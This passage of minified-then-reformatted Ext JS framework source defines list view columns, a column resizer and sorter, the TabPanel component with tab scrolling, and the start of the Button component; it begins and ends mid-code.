a.parentNode.childNodes, b = 0, e;\n    for (; e = d[b]; b++) {\n        if (e == a) {\n            return b\n        }\n    }\n    return -1\n}, setHdWidths:function () {\n    var d = this.innerHd.dom.getElementsByTagName(\"div\"), c = 0, b = this.columns, a = b.length;\n    for (; c < a; c++) {\n        d[c].style.width = (b[c].width * 100) + \"%\"\n    }\n}});\nExt.reg(\"listview\", Ext.list.ListView);\nExt.ListView = Ext.list.ListView;\nExt.list.Column = Ext.extend(Object, {isColumn:true, align:\"left\", header:\"\", width:null, cls:\"\", constructor:function (a) {\n    if (!a.tpl) {\n        a.tpl = new Ext.XTemplate(\"{\" + a.dataIndex + \"}\")\n    } else {\n        if (Ext.isString(a.tpl)) {\n            a.tpl = new Ext.XTemplate(a.tpl)\n        }\n    }\n    Ext.apply(this, a)\n}});\nExt.reg(\"lvcolumn\", Ext.list.Column);\nExt.list.NumberColumn = Ext.extend(Ext.list.Column, {format:\"0,000.00\", constructor:function (a) {\n    a.tpl = a.tpl || new Ext.XTemplate(\"{\" + a.dataIndex + ':number(\"' + (a.format || this.format) + '\")}');\n    Ext.list.NumberColumn.superclass.constructor.call(this, a)\n}});\nExt.reg(\"lvnumbercolumn\", Ext.list.NumberColumn);\nExt.list.DateColumn = Ext.extend(Ext.list.Column, {format:\"m/d/Y\", constructor:function (a) {\n    a.tpl = a.tpl || new Ext.XTemplate(\"{\" + a.dataIndex + ':date(\"' + (a.format || this.format) + '\")}');\n    Ext.list.DateColumn.superclass.constructor.call(this, a)\n}});\nExt.reg(\"lvdatecolumn\", Ext.list.DateColumn);\nExt.list.BooleanColumn = Ext.extend(Ext.list.Column, {trueText:\"true\", falseText:\"false\", undefinedText:\"&#160;\", constructor:function (e) {\n    e.tpl = e.tpl || new Ext.XTemplate(\"{\" + e.dataIndex + \":this.format}\");\n    var b = this.trueText, d = this.falseText, a = this.undefinedText;\n    e.tpl.format = function (c) {\n        if (c === undefined) {\n            return a\n        }\n        if (!c || c === \"false\") {\n            return d\n        }\n        return b\n    };\n    Ext.list.DateColumn.superclass.constructor.call(this, e)\n}});\nExt.reg(\"lvbooleancolumn\", Ext.list.BooleanColumn);\nExt.list.ColumnResizer = Ext.extend(Ext.util.Observable, {minPct:0.05, constructor:function (a) {\n    Ext.apply(this, a);\n    Ext.list.ColumnResizer.superclass.constructor.call(this)\n}, init:function (a) {\n    this.view = a;\n    a.on(\"render\", this.initEvents, this)\n}, initEvents:function (a) {\n    a.mon(a.innerHd, \"mousemove\", this.handleHdMove, this);\n    this.tracker = new Ext.dd.DragTracker({onBeforeStart:this.onBeforeStart.createDelegate(this), onStart:this.onStart.createDelegate(this), onDrag:this.onDrag.createDelegate(this), onEnd:this.onEnd.createDelegate(this), tolerance:3, autoStart:300});\n    this.tracker.initEl(a.innerHd);\n    a.on(\"beforedestroy\", this.tracker.destroy, this.tracker)\n}, handleHdMove:function (i, d) {\n    var c = 5, b = i.getPageX(), j = i.getTarget(\"em\", 3, true);\n    if (j) {\n        var h = j.getRegion(), g = j.dom.style, a = j.dom.parentNode;\n        if (b - h.left <= c && a != a.parentNode.firstChild) {\n            this.activeHd = Ext.get(a.previousSibling.firstChild);\n            g.cursor = Ext.isWebKit ? \"e-resize\" : \"col-resize\"\n        } else {\n            if (h.right - b <= c && a != a.parentNode.lastChild.previousSibling) {\n                this.activeHd = j;\n                g.cursor = Ext.isWebKit ? \"w-resize\" : \"col-resize\"\n            } else {\n                delete this.activeHd;\n                g.cursor = \"\"\n            }\n        }\n    }\n}, onBeforeStart:function (a) {\n    this.dragHd = this.activeHd;\n    return !!this.dragHd\n}, onStart:function (g) {\n    var d = this, b = d.view, c = d.dragHd, a = d.tracker.getXY()[0];\n    d.proxy = b.el.createChild({cls:\"x-list-resizer\"});\n    d.dragX = c.getX();\n    d.headerIndex = b.findHeaderIndex(c);\n    d.headersDisabled = b.disableHeaders;\n    b.disableHeaders = true;\n    d.proxy.setHeight(b.el.getHeight());\n    d.proxy.setX(d.dragX);\n    d.proxy.setWidth(a - d.dragX);\n    this.setBoundaries()\n}, setBoundaries:function (j) {\n    var k = this.view, h = this.headerIndex, c = k.innerHd.getWidth(), j = k.innerHd.getX(), b = Math.ceil(c * this.minPct), l = c - b, e = k.columns.length, d = k.innerHd.select(\"em\", true), g = b + j, a = l + j, i;\n    if (e == 2) {\n        this.minX = g;\n        this.maxX = a\n    } else {\n        i = d.item(h + 2);\n        this.minX = d.item(h).getX() + b;\n        this.maxX = i ? i.getX() - b : a;\n        if (h == 0) {\n            this.minX = g\n        } else {\n            if (h == e - 2) {\n                this.maxX = a\n            }\n        }\n    }\n}, onDrag:function (c) {\n    var b = this, a = b.tracker.getXY()[0].constrain(b.minX, b.maxX);\n    b.proxy.setWidth(a - this.dragX)\n}, onEnd:function (i) {\n    var g = this.proxy.getWidth(), h = this.headerIndex, l = this.view, c = l.columns, b = l.innerHd.getWidth(), k = Math.ceil(g * l.maxColumnWidth / b) / 100, d = this.headersDisabled, m = c[h], j = c[h + 1], a = m.width + j.width;\n    this.proxy.remove();\n    m.width = k;\n    j.width = a - k;\n    delete this.dragHd;\n    l.setHdWidths();\n    l.refresh();\n    setTimeout(function () {\n        l.disableHeaders = d\n    }, 100)\n}});\nExt.ListView.ColumnResizer = Ext.list.ColumnResizer;\nExt.list.Sorter = Ext.extend(Ext.util.Observable, {sortClasses:[\"sort-asc\", \"sort-desc\"], constructor:function (a) {\n    Ext.apply(this, a);\n    Ext.list.Sorter.superclass.constructor.call(this)\n}, init:function (a) {\n    this.view = a;\n    a.on(\"render\", this.initEvents, this)\n}, initEvents:function (a) {\n    a.mon(a.innerHd, \"click\", this.onHdClick, this);\n    a.innerHd.setStyle(\"cursor\", \"pointer\");\n    a.mon(a.store, \"datachanged\", this.updateSortState, this);\n    this.updateSortState.defer(10, this, [a.store])\n}, updateSortState:function (c) {\n    var g = c.getSortState();\n    if (!g) {\n        return\n    }\n    this.sortState = g;\n    var e = this.view.columns, h = -1;\n    for (var d = 0, a = e.length; d < a; d++) {\n        if (e[d].dataIndex == g.field) {\n            h = d;\n            break\n        }\n    }\n    if (h != -1) {\n        var b = g.direction;\n        this.updateSortIcon(h, b)\n    }\n}, updateSortIcon:function (b, a) {\n    var d = this.sortClasses;\n    var c = this.view.innerHd.select(\"em\").removeClass(d);\n    c.item(b).addClass(d[a == \"DESC\" ? 1 : 0])\n}, onHdClick:function (c) {\n    var b = c.getTarget(\"em\", 3);\n    if (b && !this.view.disableHeaders) {\n        var a = this.view.findHeaderIndex(b);\n        this.view.store.sort(this.view.columns[a].dataIndex)\n    }\n}});\nExt.ListView.Sorter = Ext.list.Sorter;\nExt.TabPanel = Ext.extend(Ext.Panel, {deferredRender:true, tabWidth:120, minTabWidth:30, resizeTabs:false, enableTabScroll:false, scrollIncrement:0, scrollRepeatInterval:400, scrollDuration:0.35, animScroll:true, tabPosition:\"top\", baseCls:\"x-tab-panel\", autoTabs:false, autoTabSelector:\"div.x-tab\", activeTab:undefined, tabMargin:2, plain:false, wheelIncrement:20, idDelimiter:\"__\", itemCls:\"x-tab-item\", elements:\"body\", headerAsText:false, frame:false, hideBorders:true, initComponent:function () {\n    this.frame = false;\n    Ext.TabPanel.superclass.initComponent.call(this);\n    this.addEvents(\"beforetabchange\", \"tabchange\", \"contextmenu\");\n    this.setLayout(new Ext.layout.CardLayout(Ext.apply({layoutOnCardChange:this.layoutOnTabChange, deferredRender:this.deferredRender}, this.layoutConfig)));\n    if (this.tabPosition == \"top\") {\n        this.elements += \",header\";\n        this.stripTarget = \"header\"\n    } else {\n        this.elements += \",footer\";\n        this.stripTarget = \"footer\"\n    }\n    if (!this.stack) {\n        this.stack = Ext.TabPanel.AccessStack()\n    }\n    this.initItems()\n}, onRender:function (c, a) {\n    Ext.TabPanel.superclass.onRender.call(this, c, a);\n    if (this.plain) {\n        var g = this.tabPosition == \"top\" ? \"header\" : \"footer\";\n        this[g].addClass(\"x-tab-panel-\" + g + \"-plain\")\n    }\n    var b = this[this.stripTarget];\n    this.stripWrap = b.createChild({cls:\"x-tab-strip-wrap\", cn:{tag:\"ul\", cls:\"x-tab-strip x-tab-strip-\" + this.tabPosition}});\n    var e = (this.tabPosition == \"bottom\" ? this.stripWrap : null);\n    b.createChild({cls:\"x-tab-strip-spacer\"}, e);\n    this.strip = new Ext.Element(this.stripWrap.dom.firstChild);\n    this.edge = this.strip.createChild({tag:\"li\", cls:\"x-tab-edge\", cn:[\n        {tag:\"span\", cls:\"x-tab-strip-text\", cn:\"&#160;\"}\n    ]});\n    this.strip.createChild({cls:\"x-clear\"});\n    this.body.addClass(\"x-tab-panel-body-\" + this.tabPosition);\n    if (!this.itemTpl) {\n        var d = new Ext.Template('<li class=\"{cls}\" id=\"{id}\"><a class=\"x-tab-strip-close\"></a>', '<a class=\"x-tab-right\" href=\"#\"><em class=\"x-tab-left\">', '<span class=\"x-tab-strip-inner\"><span class=\"x-tab-strip-text {iconCls}\">{text}</span></span>', \"</em></a></li>\");\n        d.disableFormats = true;\n        d.compile();\n        Ext.TabPanel.prototype.itemTpl = d\n    }\n    this.items.each(this.initTab, this)\n}, afterRender:function () {\n    Ext.TabPanel.superclass.afterRender.call(this);\n    if (this.autoTabs) {\n        this.readTabs(false)\n    }\n    if (this.activeTab !== undefined) {\n        var a = Ext.isObject(this.activeTab) ? this.activeTab : this.items.get(this.activeTab);\n        delete this.activeTab;\n        this.setActiveTab(a)\n    }\n}, initEvents:function () {\n    Ext.TabPanel.superclass.initEvents.call(this);\n    this.mon(this.strip, {scope:this, mousedown:this.onStripMouseDown, contextmenu:this.onStripContextMenu});\n    if (this.enableTabScroll) {\n        this.mon(this.strip, \"mousewheel\", this.onWheel, this)\n    }\n}, findTargets:function (c) {\n    var b = null, a = c.getTarget(\"li:not(.x-tab-edge)\", this.strip);\n    if (a) {\n        b = this.getComponent(a.id.split(this.idDelimiter)[1]);\n        if (b.disabled) {\n            return{close:null, item:null, el:null}\n        }\n    }\n    return{close:c.getTarget(\".x-tab-strip-close\", this.strip), item:b, el:a}\n}, onStripMouseDown:function (b) {\n    if (b.button !== 0) {\n        return\n    }\n    b.preventDefault();\n    var a = this.findTargets(b);\n    if (a.close) {\n        if (a.item.fireEvent(\"beforeclose\", a.item) !== false) {\n            a.item.fireEvent(\"close\", a.item);\n            this.remove(a.item)\n        }\n        return\n    }\n    if (a.item && a.item != this.activeTab) {\n        this.setActiveTab(a.item)\n    }\n}, onStripContextMenu:function (b) {\n    b.preventDefault();\n    var a = this.findTargets(b);\n    if (a.item) {\n        this.fireEvent(\"contextmenu\", this, a.item, b)\n    }\n}, readTabs:function (d) {\n    if (d === true) {\n        this.items.each(function (h) {\n            this.remove(h)\n        }, this)\n    }\n    var c = this.el.query(this.autoTabSelector);\n    for (var b = 0, a = c.length; b < a; b++) {\n        var e = c[b], g = e.getAttribute(\"title\");\n        e.removeAttribute(\"title\");\n        this.add({title:g, contentEl:e})\n    }\n}, initTab:function (d, b) {\n    var e = this.strip.dom.childNodes[b], g = this.getTemplateArgs(d), c = e ? this.itemTpl.insertBefore(e, g) : this.itemTpl.append(this.strip, g), a = \"x-tab-strip-over\", h = Ext.get(c);\n    h.hover(function () {\n        if (!d.disabled) {\n            h.addClass(a)\n        }\n    }, function () {\n        h.removeClass(a)\n    });\n    if (d.tabTip) {\n        h.child(\"span.x-tab-strip-text\", true).qtip = d.tabTip\n    }\n    d.tabEl = c;\n    h.select(\"a\").on(\"click\", function (i) {\n        if (!i.getPageX()) {\n            this.onStripMouseDown(i)\n        }\n    }, this, {preventDefault:true});\n    d.on({scope:this, disable:this.onItemDisabled, enable:this.onItemEnabled, titlechange:this.onItemTitleChanged, iconchange:this.onItemIconChanged, beforeshow:this.onBeforeShowItem})\n}, getTemplateArgs:function (b) {\n    var a = b.closable ? \"x-tab-strip-closable\" : \"\";\n    if (b.disabled) {\n        a += \" x-item-disabled\"\n    }\n    if (b.iconCls) {\n        a += \" x-tab-with-icon\"\n    }\n    if (b.tabCls) {\n        a += \" \" + b.tabCls\n    }\n    return{id:this.id + this.idDelimiter + b.getItemId(), text:b.title, cls:a, iconCls:b.iconCls || \"\"}\n}, onAdd:function (b) {\n    Ext.TabPanel.superclass.onAdd.call(this, b);\n    if (this.rendered) {\n        var a = this.items;\n        this.initTab(b, a.indexOf(b));\n        this.delegateUpdates()\n    }\n}, onBeforeAdd:function (b) {\n    var a = b.events ? (this.items.containsKey(b.getItemId()) ? b : null) : this.items.get(b);\n    if (a) {\n        this.setActiveTab(b);\n        return false\n    }\n    Ext.TabPanel.superclass.onBeforeAdd.apply(this, arguments);\n    var c = b.elements;\n    b.elements = c ? c.replace(\",header\", \"\") : c;\n    b.border = (b.border === true)\n}, onRemove:function (d) {\n    var b = Ext.get(d.tabEl);\n    if (b) {\n        b.select(\"a\").removeAllListeners();\n        Ext.destroy(b)\n    }\n    Ext.TabPanel.superclass.onRemove.call(this, d);\n    this.stack.remove(d);\n    delete d.tabEl;\n    d.un(\"disable\", this.onItemDisabled, this);\n    d.un(\"enable\", this.onItemEnabled, this);\n    d.un(\"titlechange\", this.onItemTitleChanged, this);\n    d.un(\"iconchange\", this.onItemIconChanged, this);\n    d.un(\"beforeshow\", this.onBeforeShowItem, this);\n    if (d == this.activeTab) {\n        var a = this.stack.next();\n        if (a) {\n            this.setActiveTab(a)\n        } else {\n            if (this.items.getCount() > 0) {\n                this.setActiveTab(0)\n            } else {\n                this.setActiveTab(null)\n            }\n        }\n    }\n    if (!this.destroying) {\n        this.delegateUpdates()\n    }\n}, onBeforeShowItem:function (a) {\n    if (a != this.activeTab) {\n        this.setActiveTab(a);\n        return false\n    }\n}, onItemDisabled:function (b) {\n    var a = this.getTabEl(b);\n    if (a) {\n        Ext.fly(a).addClass(\"x-item-disabled\")\n    }\n    this.stack.remove(b)\n}, onItemEnabled:function (b) {\n    var a = this.getTabEl(b);\n    if (a) {\n        Ext.fly(a).removeClass(\"x-item-disabled\")\n    }\n}, onItemTitleChanged:function (b) {\n    var a = this.getTabEl(b);\n    if (a) {\n        Ext.fly(a).child(\"span.x-tab-strip-text\", true).innerHTML = b.title\n    }\n}, onItemIconChanged:function (d, a, c) {\n    var b = this.getTabEl(d);\n    if (b) {\n        b = Ext.get(b);\n        b.child(\"span.x-tab-strip-text\").replaceClass(c, a);\n        b[Ext.isEmpty(a) ? \"removeClass\" : \"addClass\"](\"x-tab-with-icon\")\n    }\n}, getTabEl:function (a) {\n    var b = this.getComponent(a);\n    return b ? b.tabEl : null\n}, onResize:function () {\n    Ext.TabPanel.superclass.onResize.apply(this, arguments);\n    this.delegateUpdates()\n}, beginUpdate:function () {\n    this.suspendUpdates = true\n}, endUpdate:function () {\n    this.suspendUpdates = false;\n    this.delegateUpdates()\n}, hideTabStripItem:function (b) {\n    b = this.getComponent(b);\n    var a = this.getTabEl(b);\n    if (a) {\n        a.style.display = \"none\";\n        this.delegateUpdates()\n    }\n    this.stack.remove(b)\n}, unhideTabStripItem:function (b) {\n    b = this.getComponent(b);\n    var a = this.getTabEl(b);\n    if (a) {\n        a.style.display = \"\";\n        this.delegateUpdates()\n    }\n}, delegateUpdates:function () {\n    var a = this.rendered;\n    if (this.suspendUpdates) {\n        return\n    }\n    if (this.resizeTabs && a) {\n        this.autoSizeTabs()\n    }\n    if (this.enableTabScroll && a) {\n        this.autoScrollTabs()\n    }\n}, autoSizeTabs:function () {\n    var h = this.items.length, b = this.tabPosition != \"bottom\" ? \"header\" : \"footer\", c = this[b].dom.offsetWidth, a = this[b].dom.clientWidth;\n    if (!this.resizeTabs || h < 1 || !a) {\n        return\n    }\n    var k = Math.max(Math.min(Math.floor((a - 4) / h) - this.tabMargin, this.tabWidth), this.minTabWidth);\n    this.lastTabWidth = k;\n    var m = this.strip.query(\"li:not(.x-tab-edge)\");\n    for (var e = 0, j = m.length; e < j; e++) {\n        var l = m[e], n = Ext.fly(l).child(\".x-tab-strip-inner\", true), g = l.offsetWidth, d = n.offsetWidth;\n        n.style.width = (k - (g - d)) + \"px\"\n    }\n}, adjustBodyWidth:function (a) {\n    if (this.header) {\n        this.header.setWidth(a)\n    }\n    if (this.footer) {\n        this.footer.setWidth(a)\n    }\n    return a\n}, setActiveTab:function (c) {\n    c = this.getComponent(c);\n    if (this.fireEvent(\"beforetabchange\", this, c, this.activeTab) === false) {\n        return\n    }\n    if (!this.rendered) {\n        this.activeTab = c;\n        return\n    }\n    if (this.activeTab != c) {\n        if (this.activeTab) {\n            var a = this.getTabEl(this.activeTab);\n            if (a) {\n                Ext.fly(a).removeClass(\"x-tab-strip-active\")\n            }\n        }\n        this.activeTab = c;\n        if (c) {\n            var b = this.getTabEl(c);\n            Ext.fly(b).addClass(\"x-tab-strip-active\");\n            this.stack.add(c);\n            this.layout.setActiveItem(c);\n            this.delegateUpdates();\n            if (this.scrolling) {\n                this.scrollToTab(c, this.animScroll)\n            }\n        }\n        this.fireEvent(\"tabchange\", this, c)\n    }\n}, getActiveTab:function () {\n    return this.activeTab || null\n}, getItem:function (a) {\n    return this.getComponent(a)\n}, autoScrollTabs:function () {\n    this.pos = this.tabPosition == \"bottom\" ? this.footer : this.header;\n    var h = this.items.length, d = this.pos.dom.offsetWidth, c = this.pos.dom.clientWidth, g = this.stripWrap, e = g.dom, b = e.offsetWidth, i = this.getScrollPos(), a = this.edge.getOffsetsTo(this.stripWrap)[0] + i;\n    if (!this.enableTabScroll || b < 20) {\n        return\n    }\n    if (h == 0 || a <= c) {\n        e.scrollLeft = 0;\n        g.setWidth(c);\n        if (this.scrolling) {\n            this.scrolling = false;\n            this.pos.removeClass(\"x-tab-scrolling\");\n            this.scrollLeft.hide();\n            this.scrollRight.hide();\n            if (Ext.isAir || Ext.isWebKit) {\n                e.style.marginLeft = \"\";\n                e.style.marginRight = \"\"\n            }\n        }\n    } else {\n        if (!this.scrolling) {\n            this.pos.addClass(\"x-tab-scrolling\");\n            if (Ext.isAir || Ext.isWebKit) {\n                e.style.marginLeft = \"18px\";\n                e.style.marginRight = \"18px\"\n            }\n        }\n        c -= g.getMargins(\"lr\");\n        g.setWidth(c > 20 ? c : 20);\n        if (!this.scrolling) {\n            if (!this.scrollLeft) {\n                this.createScrollers()\n            } else {\n                this.scrollLeft.show();\n                this.scrollRight.show()\n            }\n        }\n        this.scrolling = true;\n        if (i > (a - c)) {\n            e.scrollLeft = a - c\n        } else {\n            this.scrollToTab(this.activeTab, false)\n        }\n        this.updateScrollButtons()\n    }\n}, createScrollers:function () {\n    this.pos.addClass(\"x-tab-scrolling-\" + this.tabPosition);\n    var c = this.stripWrap.dom.offsetHeight;\n    var a = this.pos.insertFirst({cls:\"x-tab-scroller-left\"});\n    a.setHeight(c);\n    a.addClassOnOver(\"x-tab-scroller-left-over\");\n    this.leftRepeater = new Ext.util.ClickRepeater(a, {interval:this.scrollRepeatInterval, handler:this.onScrollLeft, scope:this});\n    this.scrollLeft = a;\n    var b = this.pos.insertFirst({cls:\"x-tab-scroller-right\"});\n    b.setHeight(c);\n    b.addClassOnOver(\"x-tab-scroller-right-over\");\n    this.rightRepeater = new Ext.util.ClickRepeater(b, {interval:this.scrollRepeatInterval, handler:this.onScrollRight, scope:this});\n    this.scrollRight = b\n}, getScrollWidth:function () {\n    return this.edge.getOffsetsTo(this.stripWrap)[0] + this.getScrollPos()\n}, getScrollPos:function () {\n    return parseInt(this.stripWrap.dom.scrollLeft, 10) || 0\n}, getScrollArea:function () {\n    return parseInt(this.stripWrap.dom.clientWidth, 10) || 0\n}, getScrollAnim:function () {\n    return{duration:this.scrollDuration, callback:this.updateScrollButtons, scope:this}\n}, getScrollIncrement:function () {\n    return this.scrollIncrement || (this.resizeTabs ? this.lastTabWidth + 2 : 100)\n}, scrollToTab:function (e, a) {\n    if (!e) {\n        return\n    }\n    var c = this.getTabEl(e), h = this.getScrollPos(), d = this.getScrollArea(), g = Ext.fly(c).getOffsetsTo(this.stripWrap)[0] + h, b = g + c.offsetWidth;\n    if (g < h) {\n        this.scrollTo(g, a)\n    } else {\n        if (b > (h + d)) {\n            this.scrollTo(b - d, a)\n        }\n    }\n}, scrollTo:function (b, a) {\n    this.stripWrap.scrollTo(\"left\", b, a ? this.getScrollAnim() : false);\n    if (!a) {\n        this.updateScrollButtons()\n    }\n}, onWheel:function (g) {\n    var h = g.getWheelDelta() * this.wheelIncrement * -1;\n    g.stopEvent();\n    var i = this.getScrollPos(), c = i + h, a = this.getScrollWidth() - this.getScrollArea();\n    var b = Math.max(0, Math.min(a, c));\n    if (b != i) {\n        this.scrollTo(b, false)\n    }\n}, onScrollRight:function () {\n    var a = this.getScrollWidth() - this.getScrollArea(), c = this.getScrollPos(), b = Math.min(a, c + this.getScrollIncrement());\n    if (b != c) {\n        this.scrollTo(b, this.animScroll)\n    }\n}, onScrollLeft:function () {\n    var b = this.getScrollPos(), a = Math.max(0, b - this.getScrollIncrement());\n    if (a != b) {\n        this.scrollTo(a, this.animScroll)\n    }\n}, updateScrollButtons:function () {\n    var a = this.getScrollPos();\n    this.scrollLeft[a === 0 ? \"addClass\" : \"removeClass\"](\"x-tab-scroller-left-disabled\");\n    this.scrollRight[a >= (this.getScrollWidth() - this.getScrollArea()) ? \"addClass\" : \"removeClass\"](\"x-tab-scroller-right-disabled\")\n}, beforeDestroy:function () {\n    Ext.destroy(this.leftRepeater, this.rightRepeater);\n    this.deleteMembers(\"strip\", \"edge\", \"scrollLeft\", \"scrollRight\", \"stripWrap\");\n    this.activeTab = null;\n    Ext.TabPanel.superclass.beforeDestroy.apply(this)\n}});\nExt.reg(\"tabpanel\", Ext.TabPanel);\nExt.TabPanel.prototype.activate = Ext.TabPanel.prototype.setActiveTab;\nExt.TabPanel.AccessStack = function () {\n    var a = [];\n    return{add:function (b) {\n        a.push(b);\n        if (a.length > 10) {\n            a.shift()\n        }\n    }, remove:function (e) {\n        var d = [];\n        for (var c = 0, b = a.length; c < b; c++) {\n            if (a[c] != e) {\n                d.push(a[c])\n            }\n        }\n        a = d\n    }, next:function () {\n        return a.pop()\n    }}\n};\nExt.Button = Ext.extend(Ext.BoxComponent, {hidden:false, disabled:false, pressed:false, enableToggle:false, menuAlign:\"tl-bl?\", type:\"button\", menuClassTarget:\"tr:nth(2)\", clickEvent:\"click\", handleMouseEvents:true, tooltipType:\"qtip\", buttonSelector:\"button:first-child\", scale:\"small\", iconAlign:\"left\", arrowAlign:\"right\", initComponent:function () {\n    if (this.menu) {\n        if (Ext.isArray(this.menu)) {\n            this.menu = {items:this.menu}\n        }\n        if (Ext.isObject(this.menu)) {\n            this.menu.ownerCt = this\n        }\n        this.menu = Ext.menu.MenuMgr.get(this.menu);\n        this.menu.ownerCt = undefined\n    }\n    Ext.Button.superclass.initComponent.call(this);\n    this.addEvents(\"click\", \"toggle\", \"mouseover\", \"mouseout\", \"menushow\", \"menuhide\", \"menutriggerover\", \"menutriggerout\");\n    if (Ext.isString(this.toggleGroup)) {\n        this.enableToggle = true\n    }\n}, getTemplateArgs:function () {\n    return[this.type, \"x-btn-\" + this.scale + \" x-btn-icon-\" + this.scale + \"-\" + this.iconAlign, this.getMenuClass(), this.cls, this.id]\n}, setButtonClass:function () {\n    if (this.useSetClass) {\n        if (!Ext.isEmpty(this.oldCls)) {\n            this.el.removeClass([this.oldCls, \"x-btn-pressed\"])\n        }\n        this.oldCls = (this.iconCls || this.icon) ? (this.text ? \"x-btn-text-icon\" : \"x-btn-icon\") : \"x-btn-noicon\";\n        this.el.addClass([this.oldCls, this.pressed ? \"x-btn-pressed\" : null])\n    }\n}, getMenuClass:function () {\n    return this.menu ? (this.arrowAlign != \"bottom\" ? \"x-btn-arrow\" : \"x-btn-arrow-bottom\") : \"\"\n}, onRender:function (c, a) {\n    if (!this.template) {\n        if (!Ext.Button.buttonTemplate) {\n            Ext.Button.buttonTemplate = new Ext.Template('<table id=\"{4}\" cellspacing=\"0\" class=\"x-btn {3}\"><tbody class=\"{1}\">', '<tr><td class=\"x-btn-tl\"><i>&#160;</i></td><td class=\"x-btn-tc\"></td><td class=\"x-btn-tr\"><i>&#160;</i></td></tr>', '<tr><td class=\"x-btn-ml\"><i>&#160;</i></td><td class=\"x-btn-mc\"><em class=\"{2}\" unselectable=\"on\"><button type=\"{0}\"></button></em></td><td class=\"x-btn-mr\"><i>&#160;</i></td></tr>', '<tr><td class=\"x-btn-bl\"><i>&#160;</i></td><td class=\"x-btn-bc\"></td><td class=\"x-btn-br\"><i>&#160;</i></td></tr>', \"</tbody></table>\");\n            Ext.Button.buttonTemplate.compile()\n        }\n        this.template = Ext.Button.buttonTemplate\n    }\n    var b, d = this.getTemplateArgs();\n    if (a) {\n        b = this.template.insertBefore(a, d, true)\n    } else {\n        b = this.template.append(c, d, true)\n    }\n    this.btnEl = b.child(this.buttonSelector);\n    this.mon(this.btnEl, {scope:this, focus:this.onFocus, blur:this.onBlur});\n    this.initButtonEl(b, this.btnEl);\n    Ext.ButtonToggleMgr.register(this)\n}, initButtonEl:function (b, c) {\n    this.el = b;\n    this.setIcon(this.icon);\n    this.setText(this.text);\n    this.setIconClass(this.iconCls);\n    if (Ext.isDefined(this.tabIndex)) {\n        c.dom.tabIndex = this.tabIndex\n    }\n    if (this.tooltip) {\n        this.setTooltip(this.tooltip, true)\n    }\n    if (this.handleMouseEvents) {\n        this.mon(b, {scope:this, mouseover:this.onMouseOver, mousedown:this.onMouseDown})\n    }\n    if (this.menu) {\n        this.mon(this.menu, {scope:this, show:this.onMenuShow, hide:this.onMenuHide})\n    }\n    if (this.repeat) {\n        var a = new Ext.util.ClickRepeater(b, Ext.isObject(this.repeat) ? this.repeat : {});\n        this.mon(a, \"click\", this.onRepeatClick, this)\n    } else {\n        this.mon(b, this.clickEvent, this.onClick, this)\n    }\n}, afterRender:function () {\n    Ext.Button.superclass.afterRender.call(this);\n    this.useSetClass = true;\n    this.setButtonClass();\n    this.doc = Ext.getDoc();\n    this.doAutoWidth()\n}, setIconClass:function (a) {\n    this.iconCls = a;\n    if (this.el) {\n        this.btnEl.dom.className = \"\";\n        this.btnEl.addClass([\"x-btn-text\", a || \"\"]);\n        this.setButtonClass()\n    }\n    return this\n}, setTooltip:function (b, a) {\n    if (this.rendered) {\n        if (!a) {\n            this.clearTip()\n        }\n        if (Ext.isObject(b)) {\n            Ext.QuickTips.register(Ext.apply({target:this.btnEl.id}, b));\n            this.tooltip = b\n        } else {\n            this.btnEl.dom[this.tooltipType] = b\n        }\n    } else {\n        this.tooltip = b\n    }\n    return this\n}, clearTip:function () {\n    if (Ext.isObject(this.tooltip)) {\n        Ext.QuickTips.unregister(this.btnEl)\n    }\n}, beforeDestroy:function () {\n    if (this.rendered) {\n        this.clearTip()\n    }\n    if (this.menu && this.destroyMenu !== false) {\n        Ext.destroy(this.btnEl, this.menu)\n    }\n    Ext.destroy(this.repeater)\n}, onDestroy:function () {\n    if (this.rendered) {\n        this.doc.un(\"mouseover\", this.monitorMouseOver, this);\n        this.doc.un(\"mouseup\", this.onMouseUp, this);\n        delete this.doc;\n        delete this.btnEl;\n        Ext.ButtonToggleMgr.unregister(this)\n    }\n    Ext.Button.superclass.onDestroy.call(this)\n}, doAutoWidth:function () {\n    if (this.autoWidth !== false && this.el && this.text && this.width === undefined) {\n        this.el.setWidth(\"auto\");\n        if (Ext.isIE7 && Ext.isStrict) {\n            var a = this.btnEl;\n            if (a && a.getWidth() > 20) {\n                a.clip();\n                a.setWidth(Ext.util.TextMetrics.measure(a, this.text).width + a.getFrameWidth(\"lr\"))\n            }\n        }\n        if (this.minWidth) {\n            if (this.el.getWidth() < this.minWidth) {\n                this.el.setWidth(this.minWidth)\n            }\n        }\n    }\n}, setHandler:function (b, a) {\n    this.handler = b;\n    this.scope = a;\n    return this\n}, setText:function (a) {\n    this.text = a;\n    if (this.el) {\n        this.btnEl.update(a || \"&#160;\");\n        this.setButtonClass()\n    }\n    this.doAutoWidth();\n    return this\n}, setIcon:function (a) {\n    this.icon = a;\n    if (this.el) {\n        this.btnEl.setStyle(\"background-image\", a ? \"url(\" + a + \")\" : \"\");\n        this.setButtonClass()\n    }\n    return this\n}, getText:function () {\n    return this.text\n}, toggle:function (b, a) {\n    b = b === undefined ? !this.pressed : !!b;\n    if (b != this.pressed) {\n        if (this.rendered) {\n            this.el[b ? \"addClass\" : \"removeClass\"](\"x-btn-pressed\")\n        }\n        this.pressed = b;\n        if (!a) {\n            this.fireEvent(\"toggle\", this, b);\n            if (this.toggleHandler) {\n                this.toggleHandler.call(this.scope || this, this, b)\n            }\n        }\n    }\n    return this\n}, onDisable:function () {\n    this.onDisableChange(true)\n}, onEnable:function () {\n    this.onDisableChange(false)\n}, onDisableChange:function (a) {\n    if (this.el) {\n        if (!Ext.isIE6 || !this.text) {\n            this.el[a ? \"addClass\" : \"removeClass\"](this.disabledClass)\n        }\n        this.el.dom.disabled = a\n    }\n    this.disabled = a\n}, showMenu:function () {\n    if (this.rendered && this.menu) {\n        if (this.tooltip) {\n            Ext.QuickTips.getQuickTip().cancelShow(this.btnEl)\n        }\n        if (this.menu.isVisible()) {\n            this.menu.hide()\n        }\n        this.menu.ownerCt = this;\n        this.menu.show(this.el, this.menuAlign)\n    }\n    return this\n}, hideMenu:function () {\n    if (this.hasVisibleMenu()) {\n        this.menu.hide()\n    }\n    return this\n}, hasVisibleMenu:function () {\n    return this.menu && this.menu.ownerCt == this && this.menu.isVisible()\n}, onRepeatClick:function (a, b) {\n    this.onClick(b)\n}, onClick:function (a) {\n    if (a) {\n        a.preventDefault()\n    }\n    if (a.button !== 0) {\n        return\n    }\n    if (!this.disabled) {\n        this.doToggle();\n        if (this.menu && !this.hasVisibleMenu() && !this.ignoreNextClick) {\n            this.showMenu()\n        